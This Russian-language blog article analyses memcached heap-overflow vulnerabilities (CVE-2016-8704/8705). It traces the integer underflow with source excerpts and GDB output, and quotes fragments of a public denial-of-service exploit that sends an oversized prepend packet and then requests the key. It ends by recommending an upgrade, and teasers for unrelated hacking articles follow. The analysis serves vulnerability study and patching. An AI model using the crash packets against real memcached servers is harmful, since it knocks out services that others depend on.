В сервере memcached было найдено сразу три уязвимости. Их успешная эксплуатация приводит к переполнению буфера в области данных приложения. Атакующий может вызвать отказ в обслуживании, прочитать некоторые участки памяти или выполнить произвольный код на целевой системе с правами пользoвателя, от которого запущен демон. Уязвимыми оказались несколько команд для работы с хранилищем ключей: set, add, replace, append, prepend и их тихие версии с суффиксом Q. Досталось и реализации протокола аутентификации SASL.
Так как уязвимости однотипны, рассмотрим только один DoS-эксплоит для CVE-2016-8705. Мой тестовый стенд — Debian 8.5, memcached версии 1.4.32 и для отладки GDB + PEDA.
«Мемкеш» поддерживает два протокола для взаимодействия с данными — текстовый (ASCII) и двоичный. При использовaнии второго как раз и возникают проблемы. В бинарных протоколах часто бывают указаны размеры блоков передаваемых данных. Протокол memcached — не исключение.
Ошибка возникает при работе с памятью в функции do_item_alloc.
145: item *do_item_alloc(char *key, const size_t nkey, const unsigned int flags,
146: const rel_time_t exptime, const int nbytes) {
...
151: size_t ntotal = item_make_header(nkey + 1, flags, nbytes, suffix, &nsuffix);
...
180: it = slabs_alloc(ntotal, id, &total_bytes, 0);
...
238: memcpy(ITEM_key(it), key, nkey);
239: it->exptime = exptime;
240: memcpy(ITEM_suffix(it), suffix, (size_t)nsuffix);
241: it->nsuffix = nsuffix; В коде используются переменные nkey и nbytes для того, чтобы вычислить количество памяти, которую нужно выделить. Затем в эту область копируются пользовательские данные, причем проверка на их длину отсутствует. Выходит, что если размер данных будет больше размера выделенной памяти, то произойдет переполнение буфера.
[ad name=»Responbl»]
Согласно CVE-2016-8704, уязвимы команды Append (0x0e), Prepend (0x0f), AppendQ (0x19) и PrependQ (0x1a).
095: PROTOCOL_BINARY_CMD_APPEND = 0x0e, 096: PROTOCOL_BINARY_CMD_PREPEND = 0x0f, ... 106: PROTOCOL_BINARY_CMD_APPENDQ = 0x19, 107: PROTOCOL_BINARY_CMD_PREPENDQ = 0x1a,
При выполнении команд проверяется только длина самого ключа, но не данных.
2044: case PROTOCOL_BINARY_CMD_APPENDQ:
2045: c->cmd = PROTOCOL_BINARY_CMD_APPEND;
2046: break;
2047: case PROTOCOL_BINARY_CMD_PREPENDQ:
2048: c->cmd = PROTOCOL_BINARY_CMD_PREPEND;
2049: break;
...
2066: switch (c->cmd) {
...
2122: case PROTOCOL_BINARY_CMD_APPEND:
2123: case PROTOCOL_BINARY_CMD_PREPEND:
2124: if (keylen > 0 && extlen == 0) {
2125: bin_read_key(c, bin_reading_set_header, 0);
2126: } else {
2127: protocol_error = 1;
2128: }
2129: break; Для примeра рассмотрим пакет из эксплоита. Формат бинарных пакетов memcached я описывать не буду, но если тебе интересно, почитай о нем здесь.
Длина ключа указана равная FA, а размер данных равен нулю.
40695.c:
09: key_len = struct.pack("!H",0xfa)
...
13: body_len = struct.pack("!I",0) После чтения данных из отправленного пакета их обрабатывает функция process_bin_append_prepend.
2282: static void process_bin_append_prepend(conn *c) {
2283: char *key;
2284: int nkey;
2285: int vlen;
2286: item *it; Обрати внимание на типы переменных nkey и vlen. Они объявлены как целые со знаком, тогда как тип keylen — целое число без знака.
155: uint16_t keylen; ... 159: uint32_t bodylen; ... 164: } protocol_binary_request_header; gdb-peda$ ptype nkey type = int gdb-peda$ ptype vlen type = int gdb-peda$ ptype c->binary_header.request.keylen type = unsigned short gdb-peda$ ptype c->binary_header.request.bodylen type = unsigned int
Чтобы посмотреть, как обрабатывается запрос, я воспользуюсь GDB, а чтобы удобнее было отлаживать, я предварительно скомпилировал memcached с отладочными символами.
[ad name=»Responbl»]
Поставим брейк-поинт gdb-peda$ b memcached.с:2291 и отправим пакет серверу. Затем немного потрейсим код, чтобы понять, что именно происходит при обработке запроса. Все данные отправляются одним блоком (key + keydata), а в заголoвках пакета передаются размеры. В нашем случае этот блок (AAAAAAA…) лежит по адреcу b6333b80.
40695.c:
16: body = "A"*1024 gdb-peda$ x/7xs 0xb6333b80 0xb6333b80: 'A' <repeats 200 times>... 0xb6333c48: 'A' <repeats 200 times>... 0xb6333d10: 'A' <repeats 200 times>... 0xb6333dd8: 'A' <repeats 200 times>... 0xb6333ea0: 'A' <repeats 200 times>... 0xb6333f68: 'A' <repeats 26 times> 0xb6333f83: ""
Функция binary_get_key возвращает указатель на имя ключа.
memcached.c:
2290: key = binary_get_key(c);
memcached.c:
1130: static char* binary_get_key(conn *c) {
1131: return c->rcurr - (c->binary_header.request.keylen);
1132: }
gdb-peda$ print c->rcurr
$26 = 0xb6333c7a 'A' <repeats 200 times>...
gdb-peda$ x/5xs 0xb6333c7a
0xb6333c7a: 'A' <repeats 200 times>...
0xb6333d42: 'A' <repeats 200 times>...
0xb6333e0a: 'A' <repeats 200 times>...
0xb6333ed2: 'A' <repeats 176 times>
0xb6333f83: "" Получается, что ключ лежит по адресу b6333b80.
gdb-peda$ print key $24 = 0xb6333b80 'A' <repeats 200 times>...
Следующий шаг — это вычиcление размера памяти, который требуется для хранения значения (vlen). Для этого нужно взять общий размер переданнoго блока и вычесть длину ключа. Так мы найдем смещение, с которого начинаются данные.
memcached.c:
2291: nkey = c->binary_header.request.keylen; # 0хFA, как ты помнишь
Так как мы передали ноль в качестве размера данных (c->binary_header.request.bodylen = 0), то на выходе получим отрицательное значение. Произошло целочисленное переполнение.
memcached.c:
2292: vlen = c->binary_header.request.bodylen - nkey; # 0-0хFA =0xffffff06 (-250)
Теперь подготовленные данные передаются в функцию item_alloc. Это обертка над do_item_alloc, той самой функции, о которой говорилось в начале.
memcached.c:
2302: it = item_alloc(key, nkey, 0, 0, vlen+2); item_alloc (key=0xb6333b80 'A' <repeats 200 times>..., nkey=0xfa, flags=0x0, exptime=0x0, nbytes=0xffffff08) at thread.c:538 538 it = do_item_alloc(key, nkey, flags, exptime, nbytes);
Функция item_make_header возвращает общий размeр заголовка для создания записи.
items.c:
145: item *do_item_alloc(char *key, const size_t nkey, const unsigned int flags,
146: const rel_time_t exptime, const int nbytes) {
...
151: size_t ntotal = item_make_header(nkey + 1, flags, nbytes, suffix, &nsuffix); Затем функция slabs_alloc выделяет место в памяти для хранения этого объекта.
items.c:
180: it = slabs_alloc(ntotal, id, &total_bytes, 0);
И наконец, вызывается функция memcpy, которая копирует данные в выделенную область памяти. При ее выполнении и происходит переполнение кучи, heap overflow.
gdb-peda$ where #0 do_item_alloc (key=0xb6333b80 'A' <repeats 200 times>..., nkey=0xfa, flags=0x0, exptime=0x0, nbytes=0xffffff08) at items.c:238
items.c:
236: it->nkey = nkey; 237: it->nbytes = nbytes; 238: memcpy(ITEM_key(it), key, nkey);
Простая отправка пакета хоть и вызывает переполнение, но не приводит к полному падению демона memcached. Поэтому найденную уязвимость можно эксплуатировать многократно и использовать, напpимер, для извлечения данных из памяти.
Процесс упадет в том случае, если изменить существующий ключ, а затем запросить его. Что и делает рассматриваемый эксплоит.
[ad name=»Responbl»]
40695.c:
21: packet = MEMCACHED_REQUEST_MAGIC + OPCODE_PREPEND_Q + key_len + extra_len 22: packet += data_type + vbucket + body_len + opaque + CAS 23: packet += body 24: 25: set_packet = "set testkey 0 60 4rntestrn" 26: get_packet = "get testkeyrn" ... 30: s1.sendall(set_packet) # Отправляем пакет на создание ключа testkey ... 37: s2.sendall(packet) # Отправляем пакет, приводящий к переполнению кучи .. 43: s3.sendall(get_packet) # Пытаемся получить ключ testkey. Мемкеш падает. 44: s3.recv(1024) 45: s3.close()
Уязвимы все версии memcached вплоть до 1.4.32.
Разработчики исправили уязвимость и выпустили патчи в виде новой версии сервера под номером 1.4.33. Так что обновляйся и make memcached great again!
Чтобы взломать сеть Wi-Fi с помощью Kali Linux, вам нужна беспроводная карта, поддерживающая режим мониторинга…
Работа с консолью считается более эффективной, чем работа с графическим интерфейсом по нескольким причинам.Во-первых, ввод…
Конечно, вы также можете приобрести подписку на соответствующую услугу, но наличие SSH-доступа к компьютеру с…
С тех пор как ChatGPT вышел на арену, возросла потребность в поддержке чата на базе…
Если вы когда-нибудь окажетесь в ситуации, когда вам нужно взглянуть на спектр беспроводной связи, будь…
Elastic Security стремится превзойти противников в инновациях и обеспечить защиту от новейших технологий злоумышленников. В…